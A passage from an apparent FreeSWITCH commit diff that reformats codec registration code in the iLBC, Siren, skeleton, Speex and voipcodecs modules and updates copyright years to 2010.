- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_ilbc_init, /* function to initialize a codec handle using this implementation */
- switch_ilbc_encode, /* function to encode raw data into encoded data */
- switch_ilbc_decode, /* function to decode encoded data into raw data */
- switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
+ ILBC_NO_OF_BYTES_30MS, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_ilbc_init, /* function to initialize a codec handle using this implementation */
+ switch_ilbc_encode, /* function to encode raw data into encoded data */
+ switch_ilbc_decode, /* function to decode encoded data into raw data */
+ switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
Modified: freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_siren/mod_siren.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -56,7 +56,7 @@
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
return SWITCH_STATUS_FALSE;
- }
+ }
if (codec->fmtp_in) {
int x, argc;
@@ -77,9 +77,9 @@
}
}
}
-
+
codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
-
+
if (encoding) {
g722_1_encode_init(&context->encoder_object, bit_rate, codec->implementation->samples_per_second);
}
@@ -87,7 +87,7 @@
if (decoding) {
g722_1_decode_init(&context->decoder_object, bit_rate, codec->implementation->samples_per_second);
}
-
+
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
}
@@ -99,11 +99,11 @@
}
static switch_status_t switch_siren_encode(switch_codec_t *codec,
- switch_codec_t *other_codec,
- void *decoded_data,
- uint32_t decoded_data_len,
- uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
- unsigned int *flag)
+ switch_codec_t *other_codec,
+ void *decoded_data,
+ uint32_t decoded_data_len,
+ uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+ unsigned int *flag)
{
struct siren_context *context = codec->private_info;
@@ -116,14 +116,14 @@
}
static switch_status_t switch_siren_decode(switch_codec_t *codec,
- switch_codec_t *other_codec,
- void *encoded_data,
- uint32_t encoded_data_len,
- uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
- unsigned int *flag)
+ switch_codec_t *other_codec,
+ void *encoded_data,
+ uint32_t encoded_data_len,
+ uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+ unsigned int *flag)
{
struct siren_context *context = codec->private_info;
-
+
if (!context) {
return SWITCH_STATUS_FALSE;
}
@@ -148,47 +148,43 @@
spf = 320, bpf = 640;
for (count = 3; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 107, /* the IANA code number */
- "G7221", /* the IANA code name */
- "bitrate=32000", /* default fmtp to send (can be overridden by the init function) */
- 16000, /* samples transferred per second */
- 16000, /* actual samples transferred per second */
- 32000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- 0, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_siren_init, /* function to initialize a codec handle using this implementation */
- switch_siren_encode, /* function to encode raw data into encoded data */
- switch_siren_decode, /* function to decode encoded data into raw data */
- switch_siren_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 107, /* the IANA code number */
+ "G7221", /* the IANA code name */
+ "bitrate=32000", /* default fmtp to send (can be overridden by the init function) */
+ 16000, /* samples transferred per second */
+ 16000, /* actual samples transferred per second */
+ 32000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ 0, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_siren_init, /* function to initialize a codec handle using this implementation */
+ switch_siren_encode, /* function to encode raw data into encoded data */
+ switch_siren_decode, /* function to decode encoded data into raw data */
+ switch_siren_destroy); /* deinitalize a codec handle using this implementation */
}
spf = 640, bpf = 1280;
for (count = 3; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 115, /* the IANA code number */
- "G7221", /* the IANA code name */
- "bitrate=48000", /* default fmtp to send (can be overridden by the init function) */
- 32000, /* samples transferred per second */
- 32000, /* actual samples transferred per second */
- 48000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- 0, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_siren_init, /* function to initialize a codec handle using this implementation */
- switch_siren_encode, /* function to encode raw data into encoded data */
- switch_siren_decode, /* function to decode encoded data into raw data */
- switch_siren_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 115, /* the IANA code number */
+ "G7221", /* the IANA code name */
+ "bitrate=48000", /* default fmtp to send (can be overridden by the init function) */
+ 32000, /* samples transferred per second */
+ 32000, /* actual samples transferred per second */
+ 48000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ 0, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_siren_init, /* function to initialize a codec handle using this implementation */
+ switch_siren_encode, /* function to encode raw data into encoded data */
+ switch_siren_decode, /* function to decode encoded data into raw data */
+ switch_siren_destroy); /* deinitalize a codec handle using this implementation */
}
/* indicate that the module should continue to be loaded */
Modified: freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_skel_codec/mod_skel_codec.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -94,15 +94,14 @@
* SWITCH_STATUS_NOOP, NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary.
* SWITCH_STATUS_NOT_INITALIZED, failure to init, you can use this to init on first usage and no in switch_skel_init?
* */
-static switch_status_t switch_skel_encode(switch_codec_t *codec,
- switch_codec_t *other_codec, /* codec that was used by the other side */
- void *decoded_data, /* decoded data that we must encode */
- uint32_t decoded_data_len /* decoded data length */,
- uint32_t decoded_rate /* rate of the decoded data */,
- void *encoded_data, /* here we will store the encoded data */
- uint32_t *encoded_data_len, /* here we will set the length of the encoded data */
- uint32_t *encoded_rate /* here we will set the rate of the encoded data */,
- unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */)
+static switch_status_t switch_skel_encode(switch_codec_t *codec, switch_codec_t *other_codec, /* codec that was used by the other side */
+ void *decoded_data, /* decoded data that we must encode */
+ uint32_t decoded_data_len /* decoded data length */ ,
+ uint32_t decoded_rate /* rate of the decoded data */ ,
+ void *encoded_data, /* here we will store the encoded data */
+ uint32_t *encoded_data_len, /* here we will set the length of the encoded data */
+ uint32_t *encoded_rate /* here we will set the rate of the encoded data */ ,
+ unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */ )
{
struct skel_context *context = codec->private_info;
/* FS core checks the actual samples per second and microseconds per packet to determine the buffer size in the worst case scenario, no need to check
@@ -123,15 +122,15 @@
* SWITCH_STATUS_NOOP, NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary.
* SWITCH_STATUS_NOT_INITALIZED, failure to init, you can use this to init on first usage and no in switch_skel_init?
* */
-static switch_status_t switch_skel_decode(switch_codec_t *codec, /* codec session handle */
- switch_codec_t *other_codec, /* what is this? */
- void *encoded_data, /* data that we must decode into slinear and put it in decoded_data */
- uint32_t encoded_data_len, /* length in bytes of the encoded data */
- uint32_t encoded_rate, /* at which rate was the data encoded */
- void *decoded_data, /* buffer where we must put the decoded data */
- uint32_t *decoded_data_len, /* we must set this value to the size of the decoded data */
- uint32_t *decoded_rate, /* rate of the decoded data */
- unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */)
+static switch_status_t switch_skel_decode(switch_codec_t *codec, /* codec session handle */
+ switch_codec_t *other_codec, /* what is this? */
+ void *encoded_data, /* data that we must decode into slinear and put it in decoded_data */
+ uint32_t encoded_data_len, /* length in bytes of the encoded data */
+ uint32_t encoded_rate, /* at which rate was the data encoded */
+ void *decoded_data, /* buffer where we must put the decoded data */
+ uint32_t *decoded_data_len, /* we must set this value to the size of the decoded data */
+ uint32_t *decoded_rate, /* rate of the decoded data */
+ unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */ )
{
struct skel_context *context = codec->private_info;
/* FS core checks the actual samples per second and microseconds per packet to determine the buffer size in the worst case scenario, no need to check
@@ -150,7 +149,7 @@
* no need to free memory allocated from the pool though, the owner of the pool takes care of that */
struct skel_context *context = codec->private_info;
context->encodes = 0;
- context->decodes = 0; /* silly, context was allocated in the pool and therefore will be destroyed soon, exact time is not guaranteed though */
+ context->decodes = 0; /* silly, context was allocated in the pool and therefore will be destroyed soon, exact time is not guaranteed though */
return SWITCH_STATUS_SUCCESS;
}
@@ -180,32 +179,31 @@
/* SWITCH_ADD_CODEC allocates a codec interface structure from the pool the core gave us and adds it to the internal interface list the core keeps,
* gets a codec id and set the given codec name to it.
* At this point there is an empty shell codec interface registered, but not yet implementations */
- SWITCH_ADD_CODEC(codec_interface, "SKEL 8.0k"); /* 8.0kbit */
+ SWITCH_ADD_CODEC(codec_interface, "SKEL 8.0k"); /* 8.0kbit */
/* Now add as many codec implementations as needed, typically this is done inside a for loop where the packetization size is
* incremented (10ms, 20ms, 30ms etc) as needed */
- switch_core_codec_add_implementation(pool,
- codec_interface, /* the codec interface we allocated and we want to register with the core */
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 0, /* the IANA code number, ie http://www.iana.org/assignments/rtp-parameters */
- "SKEL", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function), fmtp is used in SDP for format specific parameters */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 8000, /* bits transferred per second */
- 20000, /* for 20ms (milliseconds) frames, 20,000 microseconds and so on, you can register the same codec with different packetization */
- 160, /* number of samples per frame, for this dummy implementation is 160, which is the number of samples in 20ms at 8000 samples per second */
- 320, /* number of bytes per frame decompressed */
- 320, /* number of bytes per frame compressed, since we dont really compress anything, is the same number as per frame decompressed */
- 1, /* number of channels represented */
- 20, /* number of frames per network packet */
- switch_skel_init, /* function to initialize a codec session using this implementation */
- switch_skel_encode, /* function to encode slinear data into encoded data */
- switch_skel_decode, /* function to decode encoded data into slinear data */
- switch_skel_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, /* the codec interface we allocated and we want to register with the core */
+ SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 0, /* the IANA code number, ie http://www.iana.org/assignments/rtp-parameters */
+ "SKEL", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function), fmtp is used in SDP for format specific parameters */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 8000, /* bits transferred per second */
+ 20000, /* for 20ms (milliseconds) frames, 20,000 microseconds and so on, you can register the same codec with different packetization */
+ 160, /* number of samples per frame, for this dummy implementation is 160, which is the number of samples in 20ms at 8000 samples per second */
+ 320, /* number of bytes per frame decompressed */
+ 320, /* number of bytes per frame compressed, since we dont really compress anything, is the same number as per frame decompressed */
+ 1, /* number of channels represented */
+ 20, /* number of frames per network packet */
+ switch_skel_init, /* function to initialize a codec session using this implementation */
+ switch_skel_encode, /* function to encode slinear data into encoded data */
+ switch_skel_decode, /* function to decode encoded data into slinear data */
+ switch_skel_destroy); /* deinitalize a codec handle using this implementation */
SWITCH_ADD_API(api_interface, "skel_sayhi", "Skel Codec Says Hi", skel_sayhi, NULL);
- switch_console_set_complete("add skel_sayhi"); /* For CLI completion */
+ switch_console_set_complete("add skel_sayhi"); /* For CLI completion */
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_speex/mod_speex.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -272,25 +272,23 @@
SWITCH_ADD_CODEC(codec_interface, "Speex");
for (counta = 1; counta <= 3; counta++) {
for (countb = 1; countb > 0; countb--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- ianacode[counta], /* the IANA code number */
- "SPEEX", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- rate, /* samples transferred per second */
- rate, /* actual samples transferred per second */
- bps[counta], /* bits transferred per second */
- mpf * countb, /* number of microseconds per frame */
- spf * countb, /* number of samples per frame */
- bpf * countb, /* number of bytes per frame decompressed */
- 0, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_speex_init, /* function to initialize a codec handle using this implementation */
- switch_speex_encode, /* function to encode raw data into encoded data */
- switch_speex_decode, /* function to decode encoded data into raw data */
- switch_speex_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ ianacode[counta], /* the IANA code number */
+ "SPEEX", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ rate, /* samples transferred per second */
+ rate, /* actual samples transferred per second */
+ bps[counta], /* bits transferred per second */
+ mpf * countb, /* number of microseconds per frame */
+ spf * countb, /* number of samples per frame */
+ bpf * countb, /* number of bytes per frame decompressed */
+ 0, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_speex_init, /* function to initialize a codec handle using this implementation */
+ switch_speex_encode, /* function to encode raw data into encoded data */
+ switch_speex_decode, /* function to decode encoded data into raw data */
+ switch_speex_destroy); /* deinitalize a codec handle using this implementation */
}
rate = rate * 2;
spf = spf * 2;
Modified: freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_voipcodecs/mod_voipcodecs.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -80,9 +80,11 @@
return SWITCH_STATUS_FALSE;
}
- if (context->encoder_object) lpc10_encode_free(context->encoder_object);
+ if (context->encoder_object)
+ lpc10_encode_free(context->encoder_object);
context->encoder_object = NULL;
- if (context->decoder_object) lpc10_decode_free(context->decoder_object);
+ if (context->decoder_object)
+ lpc10_decode_free(context->decoder_object);
context->decoder_object = NULL;
return SWITCH_STATUS_SUCCESS;
@@ -160,7 +162,8 @@
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
- uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
+ uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+ unsigned int *flag)
{
struct gsm_context *context = codec->private_info;
@@ -177,7 +180,8 @@
switch_codec_t *other_codec,
void *encoded_data,
uint32_t encoded_data_len,
- uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
+ uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+ unsigned int *flag)
{
struct gsm_context *context = codec->private_info;
@@ -200,9 +204,11 @@
return SWITCH_STATUS_FALSE;
}
- if (context->decoder_object) gsm0610_free(context->decoder_object);
+ if (context->decoder_object)
+ gsm0610_free(context->decoder_object);
context->decoder_object = NULL;
- if (context->encoder_object) gsm0610_free(context->encoder_object);
+ if (context->encoder_object)
+ gsm0610_free(context->encoder_object);
context->encoder_object = NULL;
return SWITCH_STATUS_SUCCESS;
@@ -433,9 +439,11 @@
return SWITCH_STATUS_FALSE;
}
- if (context->decoder_object) g722_decode_free(context->decoder_object);
+ if (context->decoder_object)
+ g722_decode_free(context->decoder_object);
context->decoder_object = NULL;
- if (context->encoder_object) g722_encode_free(context->encoder_object);
+ if (context->encoder_object)
+ g722_encode_free(context->encoder_object);
context->encoder_object = NULL;
return SWITCH_STATUS_SUCCESS;
@@ -456,14 +464,14 @@
if (!(encoding || decoding)) {
return SWITCH_STATUS_FALSE;
- }
+ }
if ((flags & SWITCH_CODEC_FLAG_AAL2 || strstr(codec->implementation->iananame, "AAL2"))) {
packing = G726_PACKING_LEFT;
}
-
+
context = g726_init(context, codec->implementation->bits_per_second, G726_ENCODING_LINEAR, packing);
-
+
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
@@ -597,9 +605,11 @@
return SWITCH_STATUS_FALSE;
}
- if (context->decoder_object) ima_adpcm_free(context->decoder_object);
+ if (context->decoder_object)
+ ima_adpcm_free(context->decoder_object);
context->decoder_object = NULL;
- if (context->encoder_object) ima_adpcm_free(context->encoder_object);
+ if (context->encoder_object)
+ ima_adpcm_free(context->encoder_object);
context->encoder_object = NULL;
return SWITCH_STATUS_SUCCESS;
@@ -620,260 +630,238 @@
mpf = 10000, spf = 80, bpf = 160, ebpf = 80;
SWITCH_ADD_CODEC(codec_interface, "ADPCM (IMA)");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 5, /* the IANA code number */
- "DVI4", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 32000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- (ebpf * count) + 4, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- spf * count, /* number of frames per network packet */
- switch_adpcm_init, /* function to initialize a codec handle using this implementation */
- switch_adpcm_encode, /* function to encode raw data into encoded data */
- switch_adpcm_decode, /* function to decode encoded data into raw data */
- switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 5, /* the IANA code number */
+ "DVI4", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 32000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ (ebpf * count) + 4, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ spf * count, /* number of frames per network packet */
+ switch_adpcm_init, /* function to initialize a codec handle using this implementation */
+ switch_adpcm_encode, /* function to encode raw data into encoded data */
+ switch_adpcm_decode, /* function to decode encoded data into raw data */
+ switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
}
mpf = 10000, spf = 160, bpf = 320, ebpf = 160;
for (count = 6; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 6, /* the IANA code number */
- "DVI4", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 16000, /* samples transferred per second */
- 16000, /* actual samples transferred per second */
- 64000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- (ebpf * count) + 4, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- spf * count, /* number of frames per network packet */
- switch_adpcm_init, /* function to initialize a codec handle using this implementation */
- switch_adpcm_encode, /* function to encode raw data into encoded data */
- switch_adpcm_decode, /* function to decode encoded data into raw data */
- switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 6, /* the IANA code number */
+ "DVI4", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 16000, /* samples transferred per second */
+ 16000, /* actual samples transferred per second */
+ 64000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ (ebpf * count) + 4, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ spf * count, /* number of frames per network packet */
+ switch_adpcm_init, /* function to initialize a codec handle using this implementation */
+ switch_adpcm_encode, /* function to encode raw data into encoded data */
+ switch_adpcm_decode, /* function to decode encoded data into raw data */
+ switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
}
/* G726 */
mpf = 10000, spf = 80, bpf = 160, ebpf = 20;
SWITCH_ADD_CODEC(codec_interface, "G.726 16k (AAL2)");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 124, /* the IANA code number */
- "AAL2-G726-16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 16000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- count * 10, /* number of frames per network packet */
- switch_g726_init, /* function to initialize a codec handle using this implementation */
- switch_g726_encode, /* function to encode raw data into encoded data */
- switch_g726_decode, /* function to decode encoded data into raw data */
- switch_g726_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 124, /* the IANA code number */
+ "AAL2-G726-16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 16000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ count * 10, /* number of frames per network packet */
+ switch_g726_init, /* function to initialize a codec handle using this implementation */
+ switch_g726_encode, /* function to encode raw data into encoded data */
+ switch_g726_decode, /* function to decode encoded data into raw data */
+ switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.726 16k");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 124, /* the IANA code number */
- "G726-16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 16000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- count * 10, /* number of frames per network packet */
- switch_g726_init, /* function to initialize a codec handle using this implementation */
- switch_g726_encode, /* function to encode raw data into encoded data */
- switch_g726_decode, /* function to decode encoded data into raw data */
- switch_g726_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 124, /* the IANA code number */
+ "G726-16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 16000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ count * 10, /* number of frames per network packet */
+ switch_g726_init, /* function to initialize a codec handle using this implementation */
+ switch_g726_encode, /* function to encode raw data into encoded data */
+ switch_g726_decode, /* function to decode encoded data into raw data */
+ switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
/* Increase encoded bytes per frame by 10 */
ebpf = ebpf + 10;
SWITCH_ADD_CODEC(codec_interface, "G.726 24k (AAL2)");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 123, /* the IANA code number */
- "AAL2-G726-24", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 24000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- count * 10, /* number of frames per network packet */
- switch_g726_init, /* function to initialize a codec handle using this implementation */
- switch_g726_encode, /* function to encode raw data into encoded data */
- switch_g726_decode, /* function to decode encoded data into raw data */
- switch_g726_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 123, /* the IANA code number */
+ "AAL2-G726-24", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 24000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ count * 10, /* number of frames per network packet */
+ switch_g726_init, /* function to initialize a codec handle using this implementation */
+ switch_g726_encode, /* function to encode raw data into encoded data */
+ switch_g726_decode, /* function to decode encoded data into raw data */
+ switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.726 24k");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 123, /* the IANA code number */
- "G726-24", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 24000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- count * 10, /* number of frames per network packet */
- switch_g726_init, /* function to initialize a codec handle using this implementation */
- switch_g726_encode, /* function to encode raw data into encoded data */
- switch_g726_decode, /* function to decode encoded data into raw data */
- switch_g726_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 123, /* the IANA code number */
+ "G726-24", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 24000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ count * 10, /* number of frames per network packet */
